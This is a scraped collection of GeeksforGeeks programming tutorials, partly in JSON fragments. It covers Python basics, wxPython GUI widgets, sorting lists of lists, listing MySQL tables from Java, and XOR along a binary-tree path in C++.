"code": "# numbericvar = 123print(\"Numbric data : \", var) # Sequence TypeString1 = 'Welcome to the Geeks World'print(\"String with the use of Single Quotes: \")print(String1) # Booleanprint(type(True))print(type(False)) # Creating a Set with# the use of a Stringset1 = set(\"GeeksForGeeks\")print(\"\\nSet with the use of String: \")print(set1) # Creating a Dictionary# with Integer KeysDict = {1: 'Geeks', 2: 'For', 3: 'Geeks'}print(\"\\nDictionary with the use of Integer Keys: \")print(Dict)",
"e": 4913,
"s": 4433,
"text": null
},
{
"code": null,
"e": 4921,
"s": 4913,
"text": "Output:"
},
{
"code": null,
"e": 5182,
"s": 4921,
"text": "Numbric data : 123\nString with the use of Single Quotes: \nWelcome to the Geeks World\n<class 'bool'>\n<class 'bool'>\n\nSet with the use of String: \n{'r', 'G', 'e', 'k', 'o', 's', 'F'}\n\nDictionary with the use of Integer Keys: \n{1: 'Geeks', 2: 'For', 3: 'Geeks'}\n"
},
{
"code": null,
"e": 5264,
"s": 5182,
"text": "Let, we assign a variable x to value 5, and another variable y to the variable x."
},
{
"code": null,
"e": 5272,
"s": 5264,
"text": "Python3"
},
{
"code": "x = 5y = x",
"e": 5283,
"s": 5272,
"text": null
},
{
"code": null,
"e": 5846,
"s": 5283,
"text": "When Python looks at the first statement, what it does is that, first, it creates an object to represent the value 5. Then, it creates the variable x if it doesn’t exist and made it a reference to this new object 5. The second line causes Python to create the variable y, and it is not assigned with x, rather it is made to reference that object that x does. The net effect is that the variables x and y wind up referencing the same object. This situation, with multiple names referencing the same object, is called a Shared Reference in Python.Now, if we write:"
},
{
"code": null,
"e": 5854,
"s": 5846,
"text": "Python3"
},
{
"code": "x = 'Geeks'",
"e": 5866,
"s": 5854,
"text": null
},
{
"code": null,
"e": 5963,
"s": 5866,
"text": "This statement makes a new object to represent ‘Geeks’ and makes x to reference this new object."
},
{
"code": null,
"e": 6021,
"s": 5963,
"text": "Please refer Class, Object and Members for more details. "
},
{
"code": null,
"e": 6029,
"s": 6021,
"text": "Python3"
},
{
"code": "# Python program to show that the variables with a value # assigned in class declaration, are class variables and# variables inside methods and constructors are instance# variables. # Class for Computer Science Studentclass CSStudent: # Class Variable stream = 'cse' # The init method or constructor def __init__(self, roll): # Instance Variable self.roll = roll # Objects of CSStudent classa = CSStudent(101)b = CSStudent(102) print(a.stream) # prints \"cse\"print(b.stream) # prints \"cse\"print(a.roll) # prints 101 # Class variables can be accessed using class# name alsoprint(CSStudent.stream) # prints \"cse\" ",
"e": 6720,
"s": 6029,
"text": null
},
{
"code": null,
"e": 6737,
"s": 6720,
"text": "cse\ncse\n101\ncse\n"
},
{
"code": null,
"e": 6750,
"s": 6737,
"text": "kumar_satyam"
},
{
"code": null,
"e": 6757,
"s": 6750,
"text": "Picked"
},
{
"code": null,
"e": 6771,
"s": 6757,
"text": "python-basics"
},
{
"code": null,
"e": 6778,
"s": 6771,
"text": "Python"
}
] |
Python | wxPython module Introduction
|
19 May, 2021
Python provides wxpython module which allows us to create high functional graphical user interface. It is an Open Source module, which means it is free for anyone to use and the source code is available for anyone to look and modify. It is implemented as a set of extension modules that wrap the GUI components of wxWidgets library which is written in C++. It is cross platform GUI toolkit for python, Phoenix version Phoenix is the improved next-generation wxPython and it mainly focused on speed, maintain ability and extensibility. Install using this command:
pip install wxpython
Creating GUI using wxpython:
First import wx module.Create an object for application class.Create an object for frame class and other controls are added to frame object so its layout is maintained using panel .Then add a Static text object to show Hello World .Show the frame window by using show method.Run the app till the window is closed by using main event loop application object.
First import wx module.
Create an object for application class.
Create an object for frame class and other controls are added to frame object so its layout is maintained using panel .
Then add a Static text object to show Hello World .
Show the frame window by using show method.
Run the app till the window is closed by using main event loop application object.
Example #1: A simple GUI application which says GEEKS FOR GEEKS using wxpython.
Python3
# import wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title ="GFG")pa = wx.Panel(frame) # Adding a text to the frame objecttext1 = wx.StaticText(pa, label ="GEEKS FOR GEEKS", pos =(100, 50)) # show itframe.Show() # start the event loopapp1.Mainloop()
Output:
Example #2: Creating Buttons using wx module
Python3
# Import wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title ="wxpython app")pa = wx.Panel(frame) # Button creatione = wx.Button(pa, -1, "Button1", pos = (120, 100)) # show itframe.Show() # start the event loopapp1.Mainloop()
Output:
Example #3: CheckBox using wxpython
Python3
# importing wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title ="wxpython app")pa = wx.Panel(frame) # Checkbox creation using wx modulee = wx.CheckBox(pa, -1, "CheckBox1", pos = (120, 100))e = wx.CheckBox(pa, -1, "CheckBox2", pos = (120, 120)) # show itframe.Show() # start the event loopapp1.Mainloop()
Output:
Example #4: RadioButtons using wxpython
Python3
# importing wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title ="wxpython app")pa = wx.Panel(frame) # RadioButton creation using wx modulee = wx.RadioButton(pa, -1, "RadioButton1", pos = (120, 100))e = wx.RadioButton(pa, -1, "radioButton2", pos = (120, 120)) # show itframe.Show() # start the event loopapp1.Mainloop()
Output:
bestharadhakrishna
surinderdawra388
python-utility
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Python Dictionary
Different ways to create Pandas Dataframe
Enumerate() in Python
Read a file line by line in Python
Python String | replace()
How to Install PIP on Windows ?
*args and **kwargs in Python
Python Classes and Objects
Iterate over a list in Python
Convert integer to string in Python
|
[
{
"code": null,
"e": 53,
"s": 25,
"text": "\n19 May, 2021"
},
{
"code": null,
"e": 618,
"s": 53,
"text": "Python provides wxpython module which allows us to create high functional graphical user interface. It is an Open Source module, which means it is free for anyone to use and the source code is available for anyone to look and modify. It is implemented as a set of extension modules that wrap the GUI components of wxWidgets library which is written in C++. It is cross platform GUI toolkit for python, Phoenix version Phoenix is the improved next-generation wxPython and it mainly focused on speed, maintain ability and extensibility. Install using this command: "
},
{
"code": null,
"e": 639,
"s": 618,
"text": "pip install wxpython"
},
{
"code": null,
"e": 670,
"s": 639,
"text": "Creating GUI using wxpython: "
},
{
"code": null,
"e": 1028,
"s": 670,
"text": "First import wx module.Create an object for application class.Create an object for frame class and other controls are added to frame object so its layout is maintained using panel .Then add a Static text object to show Hello World .Show the frame window by using show method.Run the app till the window is closed by using main event loop application object."
},
{
"code": null,
"e": 1052,
"s": 1028,
"text": "First import wx module."
},
{
"code": null,
"e": 1092,
"s": 1052,
"text": "Create an object for application class."
},
{
"code": null,
"e": 1212,
"s": 1092,
"text": "Create an object for frame class and other controls are added to frame object so its layout is maintained using panel ."
},
{
"code": null,
"e": 1264,
"s": 1212,
"text": "Then add a Static text object to show Hello World ."
},
{
"code": null,
"e": 1308,
"s": 1264,
"text": "Show the frame window by using show method."
},
{
"code": null,
"e": 1391,
"s": 1308,
"text": "Run the app till the window is closed by using main event loop application object."
},
{
"code": null,
"e": 1473,
"s": 1391,
"text": "Example #1: A simple GUI application which says GEEKS FOR GEEKS using wxpython. "
},
{
"code": null,
"e": 1481,
"s": 1473,
"text": "Python3"
},
{
"code": "# import wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title =\"GFG\")pa = wx.Panel(frame) # Adding a text to the frame objecttext1 = wx.StaticText(pa, label =\"GEEKS FOR GEEKS\", pos =(100, 50)) # show itframe.Show() # start the event loopapp1.Mainloop()",
"e": 1792,
"s": 1481,
"text": null
},
{
"code": null,
"e": 1802,
"s": 1792,
"text": "Output: "
},
{
"code": null,
"e": 1851,
"s": 1802,
"text": " Example #2: Creating Buttons using wx module "
},
{
"code": null,
"e": 1859,
"s": 1851,
"text": "Python3"
},
{
"code": "# Import wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title =\"wxpython app\")pa = wx.Panel(frame) # Button creatione = wx.Button(pa, -1, \"Button1\", pos = (120, 100)) # show itframe.Show() # start the event loopapp1.Mainloop()",
"e": 2144,
"s": 1859,
"text": null
},
{
"code": null,
"e": 2154,
"s": 2144,
"text": "Output: "
},
{
"code": null,
"e": 2193,
"s": 2154,
"text": " Example #3: CheckBox using wxpython "
},
{
"code": null,
"e": 2201,
"s": 2193,
"text": "Python3"
},
{
"code": "# importing wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title =\"wxpython app\")pa = wx.Panel(frame) # Checkbox creation using wx modulee = wx.CheckBox(pa, -1, \"CheckBox1\", pos = (120, 100))e = wx.CheckBox(pa, -1, \"CheckBox2\", pos = (120, 120)) # show itframe.Show() # start the event loopapp1.Mainloop()",
"e": 2565,
"s": 2201,
"text": null
},
{
"code": null,
"e": 2575,
"s": 2565,
"text": "Output: "
},
{
"code": null,
"e": 2618,
"s": 2575,
"text": " Example #4: RadioButtons using wxpython "
},
{
"code": null,
"e": 2626,
"s": 2618,
"text": "Python3"
},
{
"code": "# importing wx moduleimport wx # creating application objectapp1 = wx.App() # creating a frameframe = wx.Frame(None, title =\"wxpython app\")pa = wx.Panel(frame) # RadioButton creation using wx modulee = wx.RadioButton(pa, -1, \"RadioButton1\", pos = (120, 100))e = wx.RadioButton(pa, -1, \"radioButton2\", pos = (120, 120)) # show itframe.Show() # start the event loopapp1.Mainloop()",
"e": 3005,
"s": 2626,
"text": null
},
{
"code": null,
"e": 3015,
"s": 3005,
"text": "Output: "
},
{
"code": null,
"e": 3036,
"s": 3017,
"text": "bestharadhakrishna"
},
{
"code": null,
"e": 3053,
"s": 3036,
"text": "surinderdawra388"
},
{
"code": null,
"e": 3068,
"s": 3053,
"text": "python-utility"
},
{
"code": null,
"e": 3075,
"s": 3068,
"text": "Python"
},
{
"code": null,
"e": 3173,
"s": 3075,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 3191,
"s": 3173,
"text": "Python Dictionary"
},
{
"code": null,
"e": 3233,
"s": 3191,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 3255,
"s": 3233,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 3290,
"s": 3255,
"text": "Read a file line by line in Python"
},
{
"code": null,
"e": 3316,
"s": 3290,
"text": "Python String | replace()"
},
{
"code": null,
"e": 3348,
"s": 3316,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 3377,
"s": 3348,
"text": "*args and **kwargs in Python"
},
{
"code": null,
"e": 3404,
"s": 3377,
"text": "Python Classes and Objects"
},
{
"code": null,
"e": 3434,
"s": 3404,
"text": "Iterate over a list in Python"
}
] |
Python | Sort list of lists by the size of sublists
|
05 Apr, 2022
Given a list of lists, the task is to sort a list on the basis of size of sublists. Let’s discuss a few methods to do the same. Method #1: Using sort
Python3
# Python code to demonstrate# sort list of list# on the basis of size of sublist ini_list = [[1, 2, 3], [1, 2], [1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 4, 6]] # printing initial ini_listprint ("initial list", str(ini_list)) # sorting on basis of size of listini_list.sort(key = len) # printing final resultprint("final list", str(ini_list))
Method #2: Using lambda
Python3
# Python code to demonstrate# sort list of list# on the basis of size of sublist ini_list = [[1, 2, 3], [1, 2], [1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 4, 6]] # printing initial ini_listprint ("initial list", str(ini_list)) # sorting on basis of size of listini_list.sort(key = lambda x:len(x)) # printing final resultprint("final list", str(ini_list))
Method #3: Using sorted
Python3
# Python code to demonstrate# sort list of list# on the basis of size of sublist ini_list = [[1, 2, 3], [1, 2], [1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 4, 6]] # printing initial ini_listprint ("initial list", str(ini_list)) # sorting on basis of size of listresult = sorted(ini_list, key = len) # printing final resultprint("final list", str(result))
simmytarika5
Python list-programs
python-list
Python-list-of-lists
Python-sort
Python
Python Programs
python-list
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n05 Apr, 2022"
},
{
"code": null,
"e": 179,
"s": 28,
"text": "Given a list of lists, the task is to sort a list on the basis of size of sublists. Let’s discuss a few methods to do the same. Method #1: Using sort "
},
{
"code": null,
"e": 187,
"s": 179,
"text": "Python3"
},
{
"code": "# Python code to demonstrate# sort list of list# on the basis of size of sublist ini_list = [[1, 2, 3], [1, 2], [1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 4, 6]] # printing initial ini_listprint (\"initial list\", str(ini_list)) # sorting on basis of size of listini_list.sort(key = len) # printing final resultprint(\"final list\", str(ini_list))",
"e": 538,
"s": 187,
"text": null
},
{
"code": null,
"e": 565,
"s": 538,
"text": " Method #2: Using lambda "
},
{
"code": null,
"e": 573,
"s": 565,
"text": "Python3"
},
{
"code": "# Python code to demonstrate# sort list of list# on the basis of size of sublist ini_list = [[1, 2, 3], [1, 2], [1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 4, 6]] # printing initial ini_listprint (\"initial list\", str(ini_list)) # sorting on basis of size of listini_list.sort(key = lambda x:len(x)) # printing final resultprint(\"final list\", str(ini_list))",
"e": 936,
"s": 573,
"text": null
},
{
"code": null,
"e": 963,
"s": 936,
"text": " Method #3: Using sorted "
},
{
"code": null,
"e": 971,
"s": 963,
"text": "Python3"
},
{
"code": "# Python code to demonstrate# sort list of list# on the basis of size of sublist ini_list = [[1, 2, 3], [1, 2], [1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 4, 6]] # printing initial ini_listprint (\"initial list\", str(ini_list)) # sorting on basis of size of listresult = sorted(ini_list, key = len) # printing final resultprint(\"final list\", str(result))",
"e": 1332,
"s": 971,
"text": null
},
{
"code": null,
"e": 1345,
"s": 1332,
"text": "simmytarika5"
},
{
"code": null,
"e": 1366,
"s": 1345,
"text": "Python list-programs"
},
{
"code": null,
"e": 1378,
"s": 1366,
"text": "python-list"
},
{
"code": null,
"e": 1399,
"s": 1378,
"text": "Python-list-of-lists"
},
{
"code": null,
"e": 1411,
"s": 1399,
"text": "Python-sort"
},
{
"code": null,
"e": 1418,
"s": 1411,
"text": "Python"
},
{
"code": null,
"e": 1434,
"s": 1418,
"text": "Python Programs"
},
{
"code": null,
"e": 1446,
"s": 1434,
"text": "python-list"
}
] |
Display all tables inside a MySQL database using Java?
|
We will see here how to display all tables inside a MySQL database using Java. You can use show command from MySQL to get all tables inside a MySQL database.
Let’s say our database is ‘test’. The Java code is as follows to show all table names inside a database ‘test’.
The Java code is as follows. Here, connection is established between MySQL and Java −
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import com.mysql.jdbc.Connection;
import com.mysql.jdbc.DatabaseMetaData;
public class GetAllTables {
public static void main(String[] args) throws SQLException {
Connection conn = null;
try {
try {
Class.forName("com.mysql.jdbc.Driver");
} catch (Exception e) {
System.out.println(e);
}
conn = (Connection) DriverManager.getConnection("jdbc:mysql://localhost/test", "Manish", "123456");
System.out.println("Connection is created succcessfully:");
} catch (Exception e) {
System.out.println(e);
}
ResultSet rs = null;
DatabaseMetaData meta = (DatabaseMetaData) conn.getMetaData();
rs = meta.getTables(null, null, null, new String[] {
"TABLE"
});
int count = 0;
System.out.println("All table names are in test database:");
while (rs.next()) {
String tblName = rs.getString("TABLE_NAME");
System.out.println(tblName);
count++;
}
System.out.println(count + " Rows in set ");
}
}
The following is the output displaying all the table from the database test −
Wed Dec 12 14:55:28 IST 2018 WARN: Establishing SSL connection without server's identity verification is not recommended. According to MySQL 5.5.45+, 5.6.26+ and 5.7.6+ requirements SSL connection must be established by default if explicit option isn't set. For compliance with existing applications not using SSL the verifyServerCertificate property is set to 'false'. You need either to explicitly disable SSL by setting useSSL = false, or set useSSL = true and provide truststore for server certificate verification.
Connection is created succcessfully:
All table names are in test database:
add30minutesdemo
addcolumn
addoneday
agecalculatesdemo
aliasdemo
allcharacterbeforespace
allownulldemo
appendingdatademo
autoincrementdemo
betweendatedemo
bigintandintdemo
bigintdemo
bookdatedemo
changecolumnpositiondemo
changeenginetabledemo
charsetdemo
concatenatetwocolumnsdemo
constraintdemo
cumulativesumdemo
currentdatetimedemo
customers
dateasstringdemo
dateformatdemo
dateinsertdemo
datesofoneweek
datetimedemo
dayofweekdemo
decimaltointdemo
decrementdemo
defaultdemo
deleteallfromtable
deletemanyrows
destination
differencetimestamp
distinctdemo
employee
employeedesignation
findlowercasevalue
generatingnumbersdemo
gmailsignin
groupbytwofieldsdemo
groupmonthandyeardemo
highestidorderby
highestnumberdemo
ifnulldemo
increasevarchardemo
insert
insertignoredemo
insertwithmultipleandsigle
int11demo
intvsintanythingdemo
lasttwocharacters
likebinarydemo
likedemo
maxlengthfunctiondemo
moviecollectiondemo
myisamtoinnodbdemo
newtableduplicate
notequalsdemo
nowandcurdatedemo
nthrecorddemo
nullandemptydemo
orderbycharacterlength
orderbynullfirstdemo
orderindemo
originaltable
parsedatedemo
passinganarraydemo
persons
prependstringoncolumnname
pricedemo
queryresultdemo
replacedemo
rowexistdemo
rowpositiondemo
rowwithsamevalue
safedeletedemo
searchtextdemo
selectdataonyearandmonthdemo
selectdistincttwocolumns
selectdomainnameonly
sha256demo
skiplasttenrecords
sortcolumnzeroatlastdemo
storedproctable
stringreplacedemo
stringtodate
student
studentdemo
studentmodifytabledemo
studenttable
subtract3hours
temporarycolumnwithvaluedemo
timetosecond
timetoseconddemo
toggledemo
toogledemo
truncatetabledemo
updatealldemo
updatevalueincrementally
wheredemo
wholewordmatchdemo
zipcodepadwithzerodemo
103 Rows in set
To cross check, use the MySQL show command to display all tables inside the database “test”. The query is as follows −
mysql> use test;
Database changed
mysql> show tables;
The following is the output −
+------------------------------+
| Tables_in_test |
+------------------------------+
| add30minutesdemo |
| addcolumn |
| addoneday |
| agecalculatesdemo |
| aliasdemo |
| allcharacterbeforespace |
| allownulldemo |
| appendingdatademo |
| autoincrementdemo |
| betweendatedemo |
| bigintandintdemo |
| bigintdemo |
| bookdatedemo |
| changecolumnpositiondemo |
| changeenginetabledemo |
| charsetdemo |
| concatenatetwocolumnsdemo |
| constraintdemo |
| cumulativesumdemo |
| currentdatetimedemo |
| customers |
| dateasstringdemo |
| dateformatdemo |
| dateinsertdemo |
| datesofoneweek |
| datetimedemo |
| dayofweekdemo |
| decimaltointdemo |
| decrementdemo |
| defaultdemo |
| deleteallfromtable |
| deletemanyrows |
| destination |
| differencetimestamp |
| distinctdemo |
| employee |
| employeedesignation |
| findlowercasevalue |
| generatingnumbersdemo |
| gmailsignin |
| groupbytwofieldsdemo |
| groupmonthandyeardemo |
| highestidorderby |
| highestnumberdemo |
| ifnulldemo |
| increasevarchardemo |
| insert |
| insertignoredemo |
| insertwithmultipleandsigle |
| int11demo |
| intvsintanythingdemo |
| lasttwocharacters |
| likebinarydemo |
| likedemo |
| maxlengthfunctiondemo |
| moviecollectiondemo |
| myisamtoinnodbdemo |
| newtableduplicate |
| notequalsdemo |
| nowandcurdatedemo |
| nthrecorddemo |
| nullandemptydemo |
| orderbycharacterlength |
| orderbynullfirstdemo |
| orderindemo |
| originaltable |
| parsedatedemo |
| passinganarraydemo |
| persons |
| prependstringoncolumnname |
| pricedemo |
| queryresultdemo |
| replacedemo |
| rowexistdemo |
| rowpositiondemo |
| rowwithsamevalue |
| safedeletedemo |
| searchtextdemo |
| selectdataonyearandmonthdemo |
| selectdistincttwocolumns |
| selectdomainnameonly |
| sha256demo |
| skiplasttenrecords |
| sortcolumnzeroatlastdemo |
| storedproctable |
| stringreplacedemo |
| stringtodate |
| student |
| studentdemo |
| studentmodifytabledemo |
| studenttable |
| subtract3hours |
| temporarycolumnwithvaluedemo |
| timetosecond |
| timetoseconddemo |
| toggledemo |
| toogledemo |
| truncatetabledemo |
| updatealldemo |
| updatevalueincrementally |
| wheredemo |
| wholewordmatchdemo |
| zipcodepadwithzerodemo |
+------------------------------+
103 rows in set (0.01 sec)
As you can see above, both of them gives the same result.
|
[
{
"code": null,
"e": 1345,
"s": 1187,
"text": "We will see here how to display all tables inside a MySQL database using Java. You can use show command from MySQL to get all tables inside a MySQL database."
},
{
"code": null,
"e": 1457,
"s": 1345,
"text": "Let’s say our database is ‘test’. The Java code is as follows to show all table names inside a database ‘test’."
},
{
"code": null,
"e": 1543,
"s": 1457,
"text": "The Java code is as follows. Here, connection is established between MySQL and Java −"
},
{
"code": null,
"e": 2707,
"s": 1543,
"text": "import java.sql.DriverManager;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\nimport com.mysql.jdbc.Connection;\nimport com.mysql.jdbc.DatabaseMetaData;\n\npublic class GetAllTables {\n public static void main(String[] args) throws SQLException {\n Connection conn = null;\n try {\n try {\n Class.forName(\"com.mysql.jdbc.Driver\");\n } catch (Exception e) {\n System.out.println(e);\n }\n conn = (Connection) DriverManager.getConnection(\"jdbc:mysql://localhost/test\", \"Manish\", \"123456\");\n System.out.println(\"Connection is created succcessfully:\");\n } catch (Exception e) {\n System.out.println(e);\n }\n ResultSet rs = null;\n DatabaseMetaData meta = (DatabaseMetaData) conn.getMetaData();\n rs = meta.getTables(null, null, null, new String[] {\n \"TABLE\"\n });\n int count = 0;\n System.out.println(\"All table names are in test database:\");\n while (rs.next()) {\n String tblName = rs.getString(\"TABLE_NAME\");\n System.out.println(tblName);\n count++;\n }\n System.out.println(count + \" Rows in set \");\n }\n}"
},
{
"code": null,
"e": 2785,
"s": 2707,
"text": "The following is the output displaying all the table from the database test −"
},
{
"code": null,
"e": 5098,
"s": 2785,
"text": "Wed Dec 12 14:55:28 IST 2018 WARN: Establishing SSL connection without server's identity verification is not recommended. According to MySQL 5.5.45+, 5.6.26+ and 5.7.6+ requirements SSL connection must be established by default if explicit option isn't set. For compliance with existing applications not using SSL the verifyServerCertificate property is set to 'false'. You need either to explicitly disable SSL by setting useSSL = false, or set useSSL = true and provide truststore for server certificate verification.\nConnection is created succcessfully:\nAll table names are in test database:\nadd30minutesdemo\naddcolumn\naddoneday\nagecalculatesdemo\naliasdemo\nallcharacterbeforespace\nallownulldemo\nappendingdatademo\nautoincrementdemo\nbetweendatedemo\nbigintandintdemo\nbigintdemo\nbookdatedemo\nchangecolumnpositiondemo\nchangeenginetabledemo\ncharsetdemo\nconcatenatetwocolumnsdemo\nconstraintdemo\ncumulativesumdemo\ncurrentdatetimedemo\ncustomers\ndateasstringdemo\ndateformatdemo\ndateinsertdemo\ndatesofoneweek\ndatetimedemo\ndayofweekdemo\ndecimaltointdemo\ndecrementdemo\ndefaultdemo\ndeleteallfromtable\ndeletemanyrows\ndestination\ndifferencetimestamp\ndistinctdemo\nemployee\nemployeedesignation\nfindlowercasevalue\ngeneratingnumbersdemo\ngmailsignin\ngroupbytwofieldsdemo\ngroupmonthandyeardemo\nhighestidorderby\nhighestnumberdemo\nifnulldemo\nincreasevarchardemo\ninsert\ninsertignoredemo\ninsertwithmultipleandsigle\nint11demo\nintvsintanythingdemo\nlasttwocharacters\nlikebinarydemo\nlikedemo\nmaxlengthfunctiondemo\nmoviecollectiondemo\nmyisamtoinnodbdemo\nnewtableduplicate\nnotequalsdemo\nnowandcurdatedemo\nnthrecorddemo\nnullandemptydemo\norderbycharacterlength\norderbynullfirstdemo\norderindemo\noriginaltable\nparsedatedemo\npassinganarraydemo\npersons\nprependstringoncolumnname\npricedemo\nqueryresultdemo\nreplacedemo\nrowexistdemo\nrowpositiondemo\nrowwithsamevalue\nsafedeletedemo\nsearchtextdemo\nselectdataonyearandmonthdemo\nselectdistincttwocolumns\nselectdomainnameonly\nsha256demo\nskiplasttenrecords\nsortcolumnzeroatlastdemo\nstoredproctable\nstringreplacedemo\nstringtodate\nstudent\nstudentdemo\nstudentmodifytabledemo\nstudenttable\nsubtract3hours\ntemporarycolumnwithvaluedemo\ntimetosecond\ntimetoseconddemo\ntoggledemo\ntoogledemo\ntruncatetabledemo\nupdatealldemo\nupdatevalueincrementally\nwheredemo\nwholewordmatchdemo\nzipcodepadwithzerodemo\n\n103 Rows in set"
},
{
"code": null,
"e": 5217,
"s": 5098,
"text": "To cross check, use the MySQL show command to display all tables inside the database “test”. The query is as follows −"
},
{
"code": null,
"e": 5271,
"s": 5217,
"text": "mysql> use test;\nDatabase changed\nmysql> show tables;"
},
{
"code": null,
"e": 5301,
"s": 5271,
"text": "The following is the output −"
},
{
"code": null,
"e": 8860,
"s": 5301,
"text": "+------------------------------+\n| Tables_in_test |\n+------------------------------+\n| add30minutesdemo |\n| addcolumn |\n| addoneday |\n| agecalculatesdemo |\n| aliasdemo |\n| allcharacterbeforespace |\n| allownulldemo |\n| appendingdatademo |\n| autoincrementdemo |\n| betweendatedemo |\n| bigintandintdemo |\n| bigintdemo |\n| bookdatedemo |\n| changecolumnpositiondemo |\n| changeenginetabledemo |\n| charsetdemo |\n| concatenatetwocolumnsdemo |\n| constraintdemo |\n| cumulativesumdemo |\n| currentdatetimedemo |\n| customers |\n| dateasstringdemo |\n| dateformatdemo |\n| dateinsertdemo |\n| datesofoneweek |\n| datetimedemo |\n| dayofweekdemo |\n| decimaltointdemo |\n| decrementdemo |\n| defaultdemo |\n| deleteallfromtable |\n| deletemanyrows |\n| destination |\n| differencetimestamp |\n| distinctdemo |\n| employee |\n| employeedesignation |\n| findlowercasevalue |\n| generatingnumbersdemo | \n| gmailsignin |\n| groupbytwofieldsdemo |\n| groupmonthandyeardemo |\n| highestidorderby |\n| highestnumberdemo |\n| ifnulldemo |\n| increasevarchardemo |\n| insert |\n| insertignoredemo |\n| insertwithmultipleandsigle |\n| int11demo |\n| intvsintanythingdemo |\n| lasttwocharacters |\n| likebinarydemo |\n| likedemo |\n| maxlengthfunctiondemo |\n| moviecollectiondemo |\n| myisamtoinnodbdemo |\n| newtableduplicate |\n| notequalsdemo |\n| nowandcurdatedemo |\n| nthrecorddemo |\n| nullandemptydemo |\n| orderbycharacterlength |\n| orderbynullfirstdemo |\n| orderindemo |\n| originaltable |\n| parsedatedemo |\n| passinganarraydemo |\n| persons |\n| prependstringoncolumnname |\n| pricedemo |\n| queryresultdemo |\n| replacedemo |\n| rowexistdemo |\n| rowpositiondemo |\n| rowwithsamevalue |\n| safedeletedemo |\n| searchtextdemo |\n| selectdataonyearandmonthdemo |\n| selectdistincttwocolumns |\n| selectdomainnameonly |\n| sha256demo |\n| skiplasttenrecords |\n| sortcolumnzeroatlastdemo |\n| storedproctable |\n| stringreplacedemo |\n| stringtodate |\n| student |\n| studentdemo |\n| studentmodifytabledemo |\n| studenttable |\n| subtract3hours |\n| temporarycolumnwithvaluedemo |\n| timetosecond |\n| timetoseconddemo |\n| toggledemo |\n| toogledemo |\n| truncatetabledemo |\n| updatealldemo |\n| updatevalueincrementally |\n| wheredemo |\n| wholewordmatchdemo |\n| zipcodepadwithzerodemo |\n+------------------------------+\n103 rows in set (0.01 sec)"
},
{
"code": null,
"e": 8918,
"s": 8860,
"text": "As you can see above, both of them gives the same result."
}
] |
XOR of path between any two nodes in a Binary Tree
|
28 Jun, 2021
Given a binary tree with distinct nodes and a pair of two nodes. The task is to find the XOR of all of the nodes which comes on the path between the given two nodes.
For Example, in the above binary tree for nodes (3, 5) XOR of path will be (3 XOR 1 XOR 0 XOR 2 XOR 5) = 5.
The idea is to make use of these two properties of XOR:
XOR of same elements is zero.
XOR of an element with zero gives the element itself.
Now, for each node find and store the XOR along the path from root to that node. This can be done using simple DFS. Now the XOR along path between any two nodes will be:
(XOR of path from root to first node) XOR (XOR of path from root to second node)
Explanation: There arises two different cases:
If the two nodes are in different subtrees of root nodes. That is one in the left subtree and the other in the right subtree. In this case it is clear that the formulae written above will give the correct result as the path between the nodes goes through root with all distinct nodes.If the nodes are in the same subtree. That is either in the left subtree or in the right subtree. In this case you need to observe that path from root to the two nodes will have an intersection point before which the path is common for the two nodes from root. The XOR of this common path is calculated twice and cancels out, so it does not effect the result.
If the two nodes are in different subtrees of root nodes. That is one in the left subtree and the other in the right subtree. In this case it is clear that the formulae written above will give the correct result as the path between the nodes goes through root with all distinct nodes.
If the nodes are in the same subtree. That is either in the left subtree or in the right subtree. In this case you need to observe that path from root to the two nodes will have an intersection point before which the path is common for the two nodes from root. The XOR of this common path is calculated twice and cancels out, so it does not effect the result.
Note: For a single pair of nodes, it is not needed to store the path from roots to all nodes. This is efficient and written considering if there is a list of pair of nodes and for every pair we have to find XOR of path between the two nodes in a Binary Tree.Below is the implementation of the above approach:
C++
Java
Python3
C#
Javascript
// C++ program to find XOR of path between// any two nodes in a Binary Tree#include <bits/stdc++.h>using namespace std; // structure of a node of binary treestruct Node { int data; Node *left, *right;}; /* Helper function that allocates a new node with thegiven data and NULL left and right pointers. */struct Node* getNode(int data){ struct Node* newNode = new Node; newNode->data = data; newNode->left = newNode->right = NULL; return newNode;} // Function to store XOR of path from// root to every node// mp[x] will store XOR of path from root to node xvoid storePath(Node* root, unordered_map<int, int>& mp, int XOR){ // if root is NULL // there is no path if (!root) return; mp.insert(make_pair(root->data, XOR ^ root->data)); XOR ^= root->data; if (root->left) storePath(root->left, mp, XOR); if (root->right) storePath(root->right, mp, XOR);} // Function to get XOR of nodes between any two nodesint findXORPath(unordered_map<int, int> mp, int node1, int node2){ return mp[node1] ^ mp[node2];} // Driver Codeint main(){ // binary tree formation struct Node* root = getNode(0); root->left = getNode(1); root->left->left = getNode(3); root->left->left->left = getNode(7); root->left->right = getNode(4); root->left->right->left = getNode(8); root->left->right->right = getNode(9); root->right = getNode(2); root->right->left = getNode(5); root->right->right = getNode(6); int XOR = 0; unordered_map<int, int> mp; int node1 = 3; int node2 = 5; // Store XOR path from root to every node storePath(root, mp, XOR); cout << findXORPath(mp, node1, node2); return 0;}
